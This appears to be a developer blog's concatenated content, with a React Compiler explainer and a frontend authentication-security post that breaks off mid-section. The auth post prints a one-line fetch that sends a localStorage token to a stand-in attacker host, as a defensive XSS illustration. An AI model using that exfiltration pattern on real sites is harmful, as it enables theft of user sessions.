# neciudan.dev — Full Content > Concatenated content from https://neciudan.dev for AI retrieval. Generated at build time. --- # Blog Posts ## The React Compiler URL: https://neciudan.dev/react-compiler-explained Published: 2026-07-11 Right now, somewhere in your codebase, a component wrapped in `React.memo` still re-renders on every keystroke. The wrapper seems to work. The component is memoized, and callbacks are wrapped in useCallback; the author put some effort into it. But somewhere up the tree, a parent passes an inline arrow function as a prop, or builds a fresh options object during render, or spreads props it received from its own parent. The check inside `memo` sees a changed prop and re-renders the component every single time, exactly as if the wrapper wasn't there. React never warns you when this happens. The app works, and the tests pass, so the broken optimization just sits there, and the costs add up quietly. Manual memoization doesn't scale. Meta had this problem and developed a compiler to automate memoization, eliminating the need for developers to manually fix components. The compiler powers Instagram and the Meta Quest Store in production, and it automatically detects dependencies within your components, inserting optimal memoization into the compiled code. This saves development time, reduces bugs, and ensures the shipped code is always the most efficient version, with zero manual memoization required in your source code. Say hi to the React Compiler. ## What is it The React Compiler is a build-time tool. It runs during your build and rewrites your components with memoization added. Your build already rewrites code for you—for instance, by turning JSX into JavaScript. The React Compiler works as a Babel plugin, fitting seamlessly into this process. And because the optimization happens in the build output, you get to write the version with none of it in your source: ```tsx function List({ items, onSelect }) { const handleClick = (item) => { onSelect(item.id); }; return ( ); } ``` There's no manual memoization anywhere. That means you dont have to add `useMemo`, `useCallback` or `React.memo` everywhere in your components. The compiler analyzes which values depend on which props and state, then generates code that caches each piece and recomputes it only when its actual inputs change. This project started at Meta under the codename React Forget, because the goal was to make you forget memoization exists. A first public demo appeared in 2021, an experimental release followed at React Conf 2024, and version 1.0 landed on October 7, 2025. Despite the shared timeline with React 19, the compiler is not part of the `react` package. Installing React 19 gives you the runtime support the compiled code relies on, but the compilation itself is a separate tool you add to your build pipeline. ## What the compiled output actually looks like Now that we know what the Compiler is and does, once you add it and run it on your codebase, you'd expect the compiler to insert `useMemo` and `useCallback` calls for you in the final result. It doesn't because `useMemo` is complicated. Every call allocates a closure and a fresh dependency array on every render, just to decide whether the cached value can be reused. When you memoize five values by hand, that overhead is negligible; when a compiler memoizes nearly everything in every component, it adds up. So the compiler generates its own caching mechanism instead. For example: ```tsx function TodoList({ todos, tab }) { const visibleTodos = filterTodos(todos, tab); return ; } ``` Compiles to this (simplified for readability): ```js function TodoList(t0) { const $ = _c(5); // request 5 cache slots for this component const { todos, tab } = t0; let visibleTodos; if ($[0] !== todos || $[1] !== tab) { // an input changed, so recompute and store the result visibleTodos = filterTodos(todos, tab); $[0] = todos; $[1] = tab; $[2] = visibleTodos; } else { // inputs are identical, so reuse the cached value visibleTodos = $[2]; } // ...the same pattern repeats for the JSX itself } ``` Here is what is happening. First, the `t0` parameter is just your props object, renamed and destructured. The `_c(5)` call creates an array with five slots attached to the component instance. On each render, the code checks current and stored inputs. If they match, it reuses the cached output; otherwise, it recomputes and updates values. The comparison uses reference equality, just as memo and dependency arrays do. If a parent builds a new `todos` array on each render, even with identical contents, every comparison downstream fails, and each cached value gets recomputed. The compiler follows the same reference-equality rules React always has. The generated check is an `if` statement over a few array reads, which is about as cheap as JavaScript gets, so the compiler can afford to apply it far more densely than you'd ever apply `useMemo` by hand. The dependency tracking is also better. When you write a `useMemo`, you decide what goes in the dependency array, and you can get it wrong; the compiler derives the dependencies from the actual data flow of the code, so the set of things it compares is exactly the set of things the computation reads. And the compiler can memoize in places where `useMemo` is illegal. Hooks can't be called conditionally or after an early return, so a component like this can't be memoized by hand at all: ```tsx function FriendList({ friends }) { if (friends.length === 0) { return ; // early return, no hooks allowed past this point } const summary = buildSummary(friends); // useMemo can't help you here return ; } ``` The compiler doesn't care, because its cache slots aren't hooks in your code. It memoizes each branch independently, including the `` JSX inside the early return. If you want to see this on your own components, paste them into the [React Compiler Playground](https://playground.react.dev). ## How it skips re-renders without React.memo The walkthrough above shows values being cached, but caching a filtered array doesn't stop a child component from re-rendering. The compiler skips re-renders through a different mechanism. Let's start with what JSX actually is. `` is a function call that produces an element object, a plain description of what should be rendered. Every render of the parent normally produces a fresh element object for each child. React has a long-standing bailout rule for these objects: if a component receives the exact same element object it received last time, React skips re-rendering it, because an identical description can't produce different output. It's the same reason the pattern of passing components as `children` avoids re-renders. And the compiler exploits that rule systematically. The JSX itself goes into cache slots, so when nothing an element depends on has changed, the parent's compiled code hands React the identical element object from the previous render, and React bails out of that entire subtree. No `memo` wrapper anywhere; the parent just stops producing new descriptions. That places the skipping in the parent's compiled output, not in the child. If you compile a leaf component but its parent stays uncompiled, the parent keeps creating fresh element objects on every render, and your compiled leaf keeps re-rendering exactly as before. ## How to turn it on The compiler is a Babel plugin, so setup depends on your build tool and it must run first in the Babel plugin pipeline, because it needs your original, untransformed source to analyze. ### Vite For Vite, install the plugin along with a small Babel bridge: `bashnpm install --save-dev --save-exact babel-plugin-react-compiler@latest` `npm install --save-dev @rolldown/plugin-babel` ``` js// vite.config.js import { defineConfig } from 'vite'; import react, { reactCompilerPreset } from '@vitejs/plugin-react'; import babel from '@rolldown/plugin-babel'; export default defineConfig({ plugins: [ react(), babel({ presets: [reactCompilerPreset()], }), ], }); ``` If you're on a version of `@vitejs/plugin-react` older than 6.0, there's a shorter form: the plugin used to accept Babel plugins inline, as `react({ babel: { plugins: ['babel-plugin-react-compiler'] } })`. Version 6.0 removed that inline option, which is why the current setup goes through a separate Babel plugin. ### Next.js For Next.js, compiler support went stable in version 16, and enabling it is a single config flag: ```ts // next.config.ts import type { NextConfig } from 'next'; const nextConfig: NextConfig = { reactCompiler: true, }; export default nextConfig; ``` But know that Next.js normally doesn't use Babel at all. It compiles with SWC, a Rust-based tool the Next.js team adopted precisely because it's much faster than Babel, and the React Compiler only runs through Babel today (to verify this). So, enabling the compiler reattaches Babel to a pipeline built to avoid it, and your dev and production builds get slower. Next.js softens this with a pre-pass that detects which files actually contain JSX or hooks and only runs the compiler on those. An official SWC plugin for the compiler is in progress. ### Expo The React team has said plainly that they expect the compiler to become the default way React code is built, and the ecosystem is rolling toward that in stages. Expo went first. New apps created with SDK 54 or later ship with the compiler enabled in the default template, so every new Expo app is compiled from the first `npx expo start`. You can press J in the Expo CLI to open the components panel and see which components were memoized. ## Which React versions does it work with The compiled output needs that `_c` cache hook at runtime, and the hook ships inside React 19. So by default, the compiler targets React 19. You're not locked out on older versions, though. The compiler officially supports React 17 and 18 through a small runtime package that you install as a regular dependency: ```bash npm install react-compiler-runtime@latest ``` Then you tell the compiler which React version to generate code for: ```js // babel.config.js module.exports = { plugins: [ ['babel-plugin-react-compiler', { target: '18' }], // '17' | '18' | '19' ], }; ``` The mechanism behind the `target` option is simple. With `target: '19'`, the generated code imports the cache hook from `react/compiler-runtime`, which is built into React itself. With `target: '17'` or `'18'`, it imports from the standalone `react-compiler-runtime` package instead, which provides an implementation of the same hook built on APIs that exist in your React version. So a team stuck on React 18 because of one dependency they can't upgrade still gets automatic memoization today. When they eventually move to 19, they change the target, drop the runtime package, and the output switches to the built-in implementation. The standalone runtime is a polyfill, though, and it behaves slightly differently from React 19's built-in implementation. It may not retain cached values in all the same circumstances, so treat it as a bridge to React 19. Class components are a no-no though. The compiler only optimizes function components and hooks, so class components pass through the build untouched; they keep working, but they just gain nothing. ## What happens to your existing useMemo and useCallback Everyone asks this. First thing first for new code: stop writing them, and stop wrapping components in `React.memo` while you're at it. The compiler's memoization covers what all three APIs did. For existing code: leave it alone, at least initially. You might be inspired to create a giant pull request deleting every `useMemo` in the codebase, and while this might be satisfing the React docs specifically recommend against it. If a memoized value is in a `useEffect` dependency array, its reference stability determines when that effect fires. Removing the `useMemo` changes the compilation output, and if the compiler draws its memoization boundaries slightly differently than you did in that spot, the effect can start firing more or less often than before. The same risk exists in the other direction, on the day you first enable the compiler. An effect whose dependency used to be a fresh object on every render was re-firing on every render, and if the compiler stabilizes that reference, the effect suddenly stops re-firing. If some behavior quietly depended on that constant re-firing, it stops too. This is also the real justification behind the `--save-exact` flag we used earlier. Memoization boundaries can shift between compiler versions, so you want end-to-end tests standing between a compiler upgrade and production. Your existing hooks don't get silently discarded either. The compiler only compiles a component when its own inference matches or exceeds the memoization you wrote by hand, and when it can't prove that, it skips the component entirely rather than ship weaker memoization than you asked for (the `preserve-manual-memoization` lint rule flags exactly these cases). The redundant hooks that do get compiled cost almost nothing at runtime, so there's no urgency; you can clean them up gradually, with tests, once the compiler has been running for a while. Some manual memoization you'll keep forever, as an escape hatch. Take the code below and imagine it without the `useMemo`. The `options` object gets created fresh on every render, so the effect's dependency changes on every render, so the effect tears down and re-runs on every render, and with a real subscription behind it, that means disconnecting and reconnecting every time the user types a character: ```tsx // The effect must only re-run when the query meaningfully changes, // so we pin the reference by hand rather than relying on the // compiler's boundaries, which may shift between versions. const options = useMemo(() => ({ query, page }), [query, page]); useEffect(function syncSearchSubscription() { const sub = subscribeToSearch(options); return () => sub.unsubscribe(); }, [options]); ``` The other case is third-party code that holds references to your functions. A chart library that registers an `onClick` handler once at initialization, a DOM API, a non-React SDK; those systems live outside the compiler's view, so when reference identity is part of a contract with the outside world, keep the `useCallback`. React 19.2 shrinks even this category further with `useEffectEvent`, a hook for the case where an effect reads a value but shouldn't re-run when that value changes. ## When the compiler skips your component The compiler can only memoize code it can prove is safe to memoize, and the proof depends on your code following the Rules of React: - components stay pure during render - props and state don't get mutated - hooks get called unconditionally. When a component breaks those rules in a way the compiler can detect, it doesn't try to repair your code, and it doesn't break it either. It skips the component entirely and leaves it exactly as you wrote it. You can see which components made it through in the Components tab of React DevTools, where compiled components get a small "Memo ✨" badge. A component missing the badge is a component the compiler gave up on. That usually means a rule violation, though it can also mean manual memoization; the compiler couldn't prove it matches. The lint rules from `eslint-plugin-react-hooks` will tell you which one you're looking at. The badge works in development because the compiler runs wherever the Babel plugin runs, including your dev server. So the compiled behavior is what you're already profiling locally, rather than something that only appears in a production build. Before enabling anything, you can also run `npx react-compiler-healthcheck` on your project. It scans the codebase and reports how many components can be compiled successfully. If you enable the compiler globally and one component misbehaves, you opt that one out while you investigate: ```tsx function LegacyDataGrid() { 'use no memo'; // skipped by the compiler entirely } ``` If you'd rather migrate component by component, you set `compilationMode: 'annotation'` in the compiler config and opt components in instead: ```tsx function ProductList() { 'use memo'; // only annotated functions get compiled } ``` For production rollouts of apps with real traffic, there's a third option. The compiler's `gating` config makes it emit two versions of each compiled function, the optimized one and the original, and switch between them at runtime based on a feature flag function you provide. That turns the compiler into something you can canary: ship both versions, enable the flag for 5% of users, watch your error rates and metrics, and ramp up as you gain more confidence. ## What it doesn't do A few boundaries to keep in mind: **The cache is per component.** If five components each call `processHugeDataset(data)` with the same data, that function runs five times, once per component, each result cached separately. The compiler will not hoist shared work into a shared cache, so cross-component caching is still your job, whether that means lifting the computation up, putting it in context, or letting TanStack Query hold it. **It only compiles your code.** Everything in `node_modules` passes through untouched, because the compiler needs original source and your dependencies ship transformed output. If a library wants to ship compiled components, the library author has to run the compiler before publishing. **It can't stabilize what it can't see.** If a third-party hook returns a fresh object on every call, the compiler receives an unstable reference, and you already know from the cache mechanism what happens next: the reference check fails on every render, and every cached value depending on it recomputes. Your components get optimized, but instability flowing in from outside them does not. **Server Components gain almost nothing.** A Server Component renders on the server and never re-renders on the client, and memoization is a tool for skipping re-renders, so there's nothing there for the compiler to speed up. **It does nothing for the problems that dominate most slow apps.** Network waterfalls, oversized bundles, slow servers, fetching in effects: the compiler makes re-renders cheaper, and if your app is slow for any other reason, it will be exactly as slow with the compiler on. **It does not work with Class Components**. It skips them, like I mentioned before. ## The numbers Meta shipped the compiler on the Meta Quest Store and measured initial loads and cross-page navigations improving by up to 12%, with certain interactions more than 2.5x faster and memory usage staying neutral. Sanity precompiled their Studio packages and reported a 20-30% reduction in overall render time and latency, with 1,231 of their 1,411 components compiling successfully on the first pass. Wakelet rolled the compiler out to 100% of users and measured two Web Vitals: - LCP, the time until the main content is visible on screen, improved by about 10% (2.6s down to 2.4s). - INP, the gap between a user interaction and the screen's response, improved by about 15% (275ms down to 240ms), and on pure-React surfaces like dropdowns, the interaction speedup was closer to 30%. Your numbers will depend on how much unnecessary re-rendering your app was doing in the first place. ## Where this leaves you For a new project, enable the compiler on day one and write components without thinking about memoization. Expo already made that decision for you, and in Vite or Next.js, it's just one config block. For an existing project, run the healthcheck, upgrade `eslint-plugin-react-hooks` to v6 or later, and fix what the linter flags. Then enable the compiler on whole subtrees rather than individual components, profile an interactive page before and after, and leave your existing `useMemo` calls in place until you can remove them slowly, with tests. In React 19.2, the profiling part got easier too: React now ships Performance Tracks directly in the Chrome DevTools profiler, with a Scheduler track and a Components track that show exactly which components rendered and when. Turn it on. ## References - [React Compiler v1.0](https://react.dev/blog/2025/10/07/react-compiler-1) - React blog, the stable release announcement - [React Compiler: Introduction](https://react.dev/learn/react-compiler/introduction) - React docs - [Introducing React Compiler](https://github.com/reactwg/react-compiler/discussions/5) - React Working Group, on how the compiled output works - [Using the compiler on < React 19](https://github.com/reactwg/react-compiler/discussions/6) - React Working Group, on the `_c` cache hook and the runtime package - [React Compiler Playground](https://playground.react.dev) - paste your components, see the output - [Next.js: reactCompiler](https://nextjs.org/docs/app/api-reference/config/next-config-js/reactCompiler) - Next.js docs - [Next.js 16](https://nextjs.org/blog/next-16) - stable compiler support announcement - [Expo: React Compiler](https://docs.expo.dev/guides/react-compiler/) - Expo docs, enabled by default in SDK 54+ - [React Compiler Beta Release](https://react.dev/blog/2024/10/21/react-compiler-beta-release) - React blog, where React 17/18 support landed - [React Compiler: Incremental Adoption](https://react.dev/learn/react-compiler/incremental-adoption) - React docs, directives, annotation mode, and runtime gating - [preserve-manual-memoization](https://react.dev/reference/eslint-plugin-react-hooks/lints/preserve-manual-memoization) - React docs, how the compiler treats existing useMemo/useCallback as a floor - [Meta's React Compiler 1.0 Brings Automatic Memoization to Production](https://www.infoq.com/news/2025/12/react-compiler-meta/) - InfoQ, with the Sanity and Wakelet case study numbers - [I tried React Compiler today, and guess what...](https://www.developerway.com/posts/i-tried-react-compiler) - Nadia Makarevich, on the compiler's limits with unstable third-party references --- ## What's the best way to do authentication in modern applications URL: https://neciudan.dev/most-secure-way-to-store-auth-token Published: 2026-07-04 Ask ten frontend developers where to store a login token, and you'll get four answers and an argument. And because each approach addresses different concerns, the debates continue without resolution. So let's clarify once and for all: What are the options to store a token, which are the most secure and what are the use cases. I go much deeper on XSS and CSRF in my [FREE frontend security course](https://neciudan.dev/master-security), but I wanted to tackle auth on its own. ## The basics I've written this, you might have too. Every "build a full-stack app in an afternoon" article and tutorial has written this. The user submits a login form; the server checks the password and returns a token. You put it in localStorage and attach it to every request from then on: ```tsx async function login(email: string, password: string) { const res = await fetch('/api/login', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email, password }), }); const { token } = await res.json(); localStorage.setItem('token', token); } async function fetchProfile() { const res = await fetch('/api/me', { headers: { Authorization: `Bearer ${localStorage.getItem('token')}`, }, }); return res.json(); } ``` That token is almost always a JWT. A JWT (JSON Web Token) is a string in three parts, separated by dots: a header, a payload, and a signature. The payload contains facts about the user, such as their ID and maybe their role. The signature is a stamp that proves your server produced this exact payload and that no one tampered with it. The trick that made JWTs popular is what the server does when it receives the token. It re-computes the stamp, checks it matches, and then trusts the payload without looking anything up. The user's ID is *inside* the token, cryptographically vouched for, so there's no database row to read to get the userID or to verify the user. People call this "stateless". And to be fair to the tutorials, this works. It survives refreshes because localStorage persists, and it sidesteps every cookie headache. The `Authorization: Bearer` header also travels across domains cleanly, so an app on one domain can call an API on another without much thought. JWT works, but the code we wrote has exactly one problem: where we stored the JWT. ## What XSS does to that token localStorage has one defining trait: any JavaScript on your page can read all of it. Whose JavaScript runs on your page? Yours, sure. But also every npm package you installed, and every package *those* packages pulled in. Your analytics snippet. Your support chat widget. Anything a browser extension decides to inject. And, the day it happens, an attacker's. That last one is XSS. Cross-site scripting means an attacker has gotten their code to run on your page. Usually through something dull: a comment field that renders user text as HTML without escaping it, a URL parameter reflected straight into the DOM, or a dependency that shipped malicious code in a patch release. When that happens, the token is one line from gone: ```tsx fetch('https://attacker.example/collect', { method: 'POST', body: localStorage.getItem('token'), }); ``` The attacker now has your bearer token, and "bearer" is literal (It does not come from the show The Bear): whoever bears it *is* you. The server checks the stamp, sees a valid payload, and says hello. They no longer need your browser. They don't need your tab open. They paste that string into a script on their own machine, and your API treats them as you, from anywhere on earth, until the token expires (mostly). If you signed that token with a 7-day expiry, as plenty of tutorials do, that's a 7-day skeleton key. You can't cancel it, because the whole point of "stateless" was that the server checks nothing. Everything the attacker does next happens on their infrastructure, on their schedule, completely invisible to you. ## "If they can run JS, you're already dead" A common saying is that if an attacker can run JavaScript on your page, they can already do anything. Read everything on screen, fire requests from the user's browser, ride whatever credentials the browser attaches. Hiding the token changes nothing. The first half is true. Protecting the token does **not** stop XSS. Anyone who tells you an HTTP-only cookie "prevents XSS" is confused or selling something. But look at what the attacker is limited to in each case, because they are not the same case. If the attacker can **read** the token, they take it home. The attack keeps working after the tab closes, from their own machine, at their own pace, for the full lifetime of the token. If the attacker **cannot** read the token, they can only ride the live session. Their script fires requests from inside the victim's browser while that tab is open, and every one of those requests lands on your server, where your rate limits, logging, and fraud checks live. One is a stolen key. The other is a burglar who can only act while standing inside your house, in front of your cameras, and only until the owner walks out. You'd obviously rather have neither, but XSS bugs ship eventually. The realistic goal is to reduce how often XSS bugs ship and to shrink what they can do when it happens. Security folks call it reducing the blast radius, so let's set our goal: get the token to a location where JavaScript can't read it. ## Attempt two: hold it in memory First instinct: skip storage entirely, keep the token in a plain variable. ```tsx let accessToken: string | null = null; async function login(email: string, password: string) { const res = await fetch('/api/login', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email, password }), }); const { token } = await res.json(); accessToken = token; // lives in memory, never written to disk } ``` A plain variable like that (it lives in the module's scope, not on any object an attacker can list) is meaningfully harder to grab than localStorage. LocalStorage is a public bulletin board that an attacker can enumerate key by key. A loose variable is at least something they have to know exists and can name. Harder, though, isn't safe. The attacker's code runs in the *same JavaScript world* as yours. It can replace `window.fetch` with its own version, wait for your app to attach the `Authorization` header, and copy the token as it flies past. And you paid a steep price for that narrowing. If your user refreshes the page, and the JavaScript world is rebuilt from nothing. Your variable is gone and the user is logged out. Open a second tab, and it has its own memory, its own empty `accessToken`, and no idea the first tab exists. Logged out there too. Nobody ships an app that logs you out on every refresh, so what you can add is to use a second, longer-lived credential whose only job is to silently mint new access tokens. It's called a refresh token. But then where does the refresh token live? Put it in localStorage, and we're back to square one. The attacker grabs the refresh token instead and mints fresh access tokens forever. We walked in a circle. JavaScript-reachable storage cannot safely hold a long-lived credential. We need a spot in the browser that JavaScript flat-out cannot reach. ## Attempt three: the httpOnly cookie Cookies have a bad reputation, mostly because the only time normies meet them is in a consent banner. Underneath the banner nonsense, a cookie is a small value the server asks the browser to store and then automatically attaches to every request sent back to that server. The server sets one with a response header, and we can protect it with a couple of extra flags: ``` Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/ ``` Each flag tightens security. `HttpOnly` tells the browser: never hand this cookie to JavaScript. `document.cookie` won't show it. No script can read it, including the attacker's script mid-XSS. The browser attaches it to outgoing requests, and that is the *only* thing that can ever happen to it. `Secure` says only send it over HTTPS, so it never crosses a coffee-shop network in plain text. `SameSite=Lax` means don't attach this cookie when the request comes from a different site( with one exception we'll hit in a second). By using this your frontend actually gets *simpler*, which is a pleasant surprise. There's no token to manage, so login is just a request, and later requests only need to opt into sending credentials: ```tsx async function login(email: string, password: string) { await fetch('/api/login', { method: 'POST', credentials: 'include', // browser handles the cookie from here headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email, password }), }); // Nothing in the response body to store. There's no token in our code at all. } async function fetchProfile() { const res = await fetch('/api/me', { credentials: 'include' }); return res.json(); } ``` But `httpOnly` stops **exfiltration**, not **abuse**. During an XSS attack, the attacker can absolutely still do damage by making requests in place; they just can't walk off with the credentials and use them next Tuesday from their laptop. ## CSRF You're logged into your bank. The session cookie sits in your browser. In another tab, you open a sketchy coupon site, and its page quietly contains this: ```html
``` The form auto-submits on page load. The request goes to your bank, and the browser sees a request bound for `bank.example`, checks its jar for cookies for that site, finds your session cookie, and attaches it. Because that's the deal with cookies. They ride along automatically. Your bank receives a request that appears to be your real session, as if you clicked "transfer." The money is gone. That's CSRF, cross-site request forgery: a foreign page tricking your browser into sending an authenticated request you never meant to send. Notice the old localStorage version was immune to this. A foreign site can't read your localStorage, so it could never build that `Authorization` header. Switching to cookies traded the exfiltration problem for the forgery problem. The good news: forgery is a mostly solved problem, with a well-documented stack of defenses. **The primary defense is a CSRF token.** The server plants an unpredictable value in your page, and every state-changing request has to send that value back. The forged form on the coupon site can't read your page (the same-origin policy stops it), so it can never know the value, so its request fails the check. The common pattern for an API-driven app is "double submit": the server sets the token as a readable cookie, and your frontend copies it into a header on each mutating request. The server accepts the request only if the cookie and the header match. ```tsx // The token is in a readable (not HTTP-only) cookie set by the server. function getCsrfToken() { return document.cookie .split('; ') .find((c) => c.startsWith('csrf_token=')) ?.split('=')[1]; } async function post(path: string, body: unknown) { return fetch(path, { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': getCsrfToken() ?? '', // echo it back in a header }, body: JSON.stringify(body), }); } ``` The attacker's forged form can set cookies going out, but it cannot set that header, because the browser only lets *your* JavaScript, running on *your* origin, add custom headers to a request. **Second line of defense: SameSite.** `SameSite=Lax` (or `Strict`) tells the browser not to attach the cookie on cross-site requests, which blocks that hidden coupon-site form. Dont let this be your only line of defense, though, because it has two problems. The first problem is Lax's exception for top-level GET navigations. When a user clicks a link to your site, Lax *does* send the cookie, which is what lets an emailed dashboard link land a user logged in. Then we need to make sure: **GET requests must never change data.** If a GET can transfer money, Lax forges it happily, and so does an attacker using a framework's "method override" to disguise a GET as a POST. The second problem is the word "site." `SameSite` guards *same-site*, not *same-origin*, and those are different things. `app.example.com` and `payments.example.com` are the same *site*, so SameSite does nothing between your own subdomains. **Third lin of defense: check where the request came from.** Browsers stamp requests with headers the sending page can't forge, `Origin` and the newer `Sec-Fetch-Site`. Your server reads them and drops anything that isn't same-origin on a mutating route: ```ts // Express middleware, ahead of any mutating route app.use((req, res, next) => { if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(req.method)) { const site = req.get('Sec-Fetch-Site'); if (site && site !== 'same-origin') { return res.status(403).json({ error: 'cross-site request rejected' }); } } next(); }); ``` So CSRF token first, then SameSite, and finally origin checks. There's also another trick you can use: the `__Host-` prefix. Name your session cookie `__Host-session,` and the browser refuses to accept it unless it's `Secure`, has no `Domain` attribute (so it's locked to the exact host, no subdomains), and has `Path=/`. It's a free security improvement, and with only one cookie rename, OWASP calls the `__Host-` prefixed cookie the most secure configuration there is. ``` Set-Cookie: __Host-session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/ ``` ## Sessions vs JWTs So far, we compared localStorage vs. cookies and concluded that a cookie with the three CSRF guardrails is the most secure. Then, should we just store the JWT in the cookies? Look back at the last code example. I called it `session=abc123`, not `token=eyJhbGciOi...`. The JWT earned its spot by being stateless. But statelessness has a dark side that only shows up when something goes wrong. A JWT is valid until it expires, and there is no way to undo it. The user hits "log out"? The token in their hand is still valid. The user changes their password after a scary email? Old tokens still work. You ban an account for abuse? That account's token keeps working until the expiry you picked passes. You have to mitigate this with a server-side list of revoked tokens you check on every request. Read that back slowly: a list, on the server, checked every request. You've rebuilt server-side sessions, except with larger tokens. So the boring 2005 design wins. The cookie holds a long random string that means nothing on its own, and the server keeps a row matching that string to a user: ```ts app.post('/api/login', async (req, res) => { const user = await verifyPassword(req.body.email, req.body.password); const sessionId = crypto.randomBytes(32).toString('hex'); // opaque, meaningless await db.sessions.create({ id: sessionId, userId: user.id }); res.cookie('__Host-session', sessionId, { httpOnly: true, secure: true, sameSite: 'lax', path: '/', }); res.json({ ok: true }); }); ``` One important tip here: issue a brand-new session ID at login, and never reuse one the client handed you. If you keep whatever session ID was already in the browser, an attacker can plant a known ID before login and inherit the session afterward (this is called session fixation). The same move applies any time the session gains power, not just at login. Passing a 2FA check, elevating to admin, stepping into an area that needed re-auth, reset password etc: generate a fresh ID at each of those. Login is only a third of it, though; something has to turn that cookie back into "this is Jane" on every subsequent request: ```ts // Runs before your routes. Reads the cookie, finds the user, or leaves it null. app.use(async (req, res, next) => { const sessionId = req.cookies['__Host-session']; const session = sessionId ? await db.sessions.get(sessionId) : null; // Attach the user to the request so every route below can see it req.user = session ? await db.users.get(session.userId) : null; next(); }); // A protected route now reads req.user and trusts it, because the // middleware already did the work. app.get('/api/orders', async (req, res) => { if (!req.user) return res.status(401).json({ error: 'not logged in' }); res.json(await db.orders.findByUser(req.user.id)); }); ``` This design beats the stateless JWT for a single app. The user's current role, whether they're banned, whether they just got downgraded from admin ten seconds ago, all of it is fresh on every request, because you're reading it live instead of trusting a claim a token baked in an hour ago. Logout, which I keep saying is "just deleting the row," is exactly that: ```ts app.post('/api/logout', async (req, res) => { const sessionId = req.cookies['__Host-session']; if (sessionId) await db.sessions.delete(sessionId); // the session is now gone, server-side res.clearCookie('__Host-session'); res.json({ ok: true }); }); ``` The session dies the instant that row is deleted, everywhere and on every device, with no waiting for a token to expire. The database-lookup JWTs you're promised save you a sub-millisecond hit on an indexed table, or a Redis read if you're chasing microseconds. For one backend serving one frontend, statelessness solved a scaling problem you didn't have and created a revocation problem you didn't want. ## Where JWTs work I don't want to leave you thinking JWTs are bad. JWTs shine wherever verifying a token is better than sharing a database. Your API gateway calls an internal billing service, which calls a notifications service (In an internal Kubernetics network with thousands of microservices). A short-lived JWT rides along, and each service checks the user's identity locally rather than all three hammering a single session store. Single sign-on runs on the same idea. Click "Sign in with Google," and Google hands your app a JWT that asserts "yes, this is really this person." Your app reads it once, starts *its own* session, and throws the JWT away. ## OAuth Speaking about about "Sign in with Google". When your app talks to an OAuth provider, you don't get to pick the token format. You receive an access token and a refresh token. The access token lives in memory, exactly like attempt two with our variable. It's short-lived, five to fifteen minutes, so the worst case for an attacker who snags one is a fifteen-minute window before it's useless. The refresh token lives in an httpOnly cookie, scoped by `path,` so the browser only ever sends it to the one endpoint that generates new access tokens: ```ts res.cookie('refresh_token', refreshToken, { httpOnly: true, secure: true, sameSite: 'strict', path: '/api/refresh', // sent here and nowhere else }); ``` Notice that this cookie can't use the `__Host-` prefix we used for the session cookie, because that prefix requires `Path=/`, whereas here we're deliberately narrowing the path. Now the refresh cycle fixes some of our previous problems with in-memory storage. Page refresh wipes your in-memory access token, so on load, your app quietly calls `/api/refresh`. The browser attaches the cookie, the server returns a fresh access token, and the user never sees a login screen. One more mechanism that makes this resilient is **rotation**. Every time a refresh token is used, the server invalidates it and hands back a new one. Refresh tokens become single-use links in a chain, and the server remembers which chain each token belongs to. Now watch a theft play out. An attacker steals refresh token #4 and uses it. They get #5. They're in. But your real app still holds #4, and on its next scheduled refresh (after the 15' window), it presents #4, a token the server has already seen consumed. A single-use token showing up a second time is impossible in normal operation. It is a signature of theft. The server responds by burning the entire chain, including the attacker's shiny #5, and forcing a fresh login. The stolen credential defuses itself. (Small side note: two tabs refreshing at the same millisecond can trip that same alarm and log a legitimate user out. Real implementations add a small grace period during which the just-rotated token is still accepted, so honest concurrency doesn't read as an attack. If you turn on rotation and start getting mystery logout reports, this is almost always why.) Auth0, Okta, and every serious provider run rotation with reuse detection by default, and RFC 9700, the current OAuth security best practice from early 2025, requires rotation or an equivalent for browser clients. This split pattern is genuinely good, and it's also the best you can do while tokens still touch the browser. ### Wiring this into actual React Everything so far has been login functions and cookie flags. If you're a React developer, you're probably wondering where any of this touches a component. You never want components sprinkling `Authorization` headers everywhere. You want one wrapper around `fetch` that attaches the access token, and, when the token has expired, transparently refreshes it and retries. Components just call `api()` and stay ignorant of everything else. ```tsx let accessToken: string | null = null; async function api(path: string, options: RequestInit = {}) { const res = await fetch(path, { ...options, headers: { ...options.headers, Authorization: `Bearer ${accessToken}` }, }); if (res.status === 401) { // token expired, refresh and retry const refresh = await fetch('/api/refresh', { credentials: 'include' }); accessToken = (await refresh.json()).token; return fetch(path, { ...options, headers: { ...options.headers, Authorization: `Bearer ${accessToken}` }, }); } return res; } ``` The problem with this shows up under heavy load. Your dashboard mounts and fires five requests at once. The access token has expired, so all five return 401 at roughly the same time. All five call `/api/refresh`. If you turned on refresh token rotation from earlier, the first refresh rotates the token, and the other four are now presenting a token that the server just retired. Reuse detected. The server burns the chain and logs your user out for the crime of loading a page. So you need the refreshes to collapse into one. The trick is to store the in-flight refresh *promise*, not just fire a request. Everyone who arrives while a refresh is running awaits the same promise: ```tsx let accessToken: string | null = null; let refreshing: Promise | null = null; function refreshAccessToken() { // If a refresh is already in flight, everyone waits on that same one. if (!refreshing) { refreshing = fetch('/api/refresh', { credentials: 'include' }) .then((res) => { // Refresh itself can fail: the refresh token expired, or the rotation // detected reuse and burned the chain. Either way, the session is over. if (!res.ok) throw new Error('refresh failed'); return res.json(); }) .then((data) => { accessToken = data.token; return data. token; }) .finally(() => { refreshing = null; // clear it so the next expiry can refresh again }); } return refreshing; } async function api(path: string, options: RequestInit = {}) { const send = (token: string | null) => fetch(path, { ...options, headers: { ...options.headers, Authorization: `Bearer ${token}` }, }); let res = await send(accessToken); if (res.status === 401) { try { const fresh = await refreshAccessToken(); // five callers, one refresh res = await send(fresh); } catch { // Refresh failed. Send them to log in, and don't let callers process the // 401 in the meantime: return a promise that never resolves while the // browser navigates away. accessToken = null; window.location.href = '/login'; return new Promise(() => {}); } } return res; } ``` Five 401s now share one refresh and one rotation, with no false alarms. ## Can we make it more secure? The IETF's OAuth working group maintains a document, "OAuth 2.0 for Browser-Based Applications," that ranks the possible architectures from most to least secure. At the top sits this pattern: The browser should hold **no** OAuth tokens. 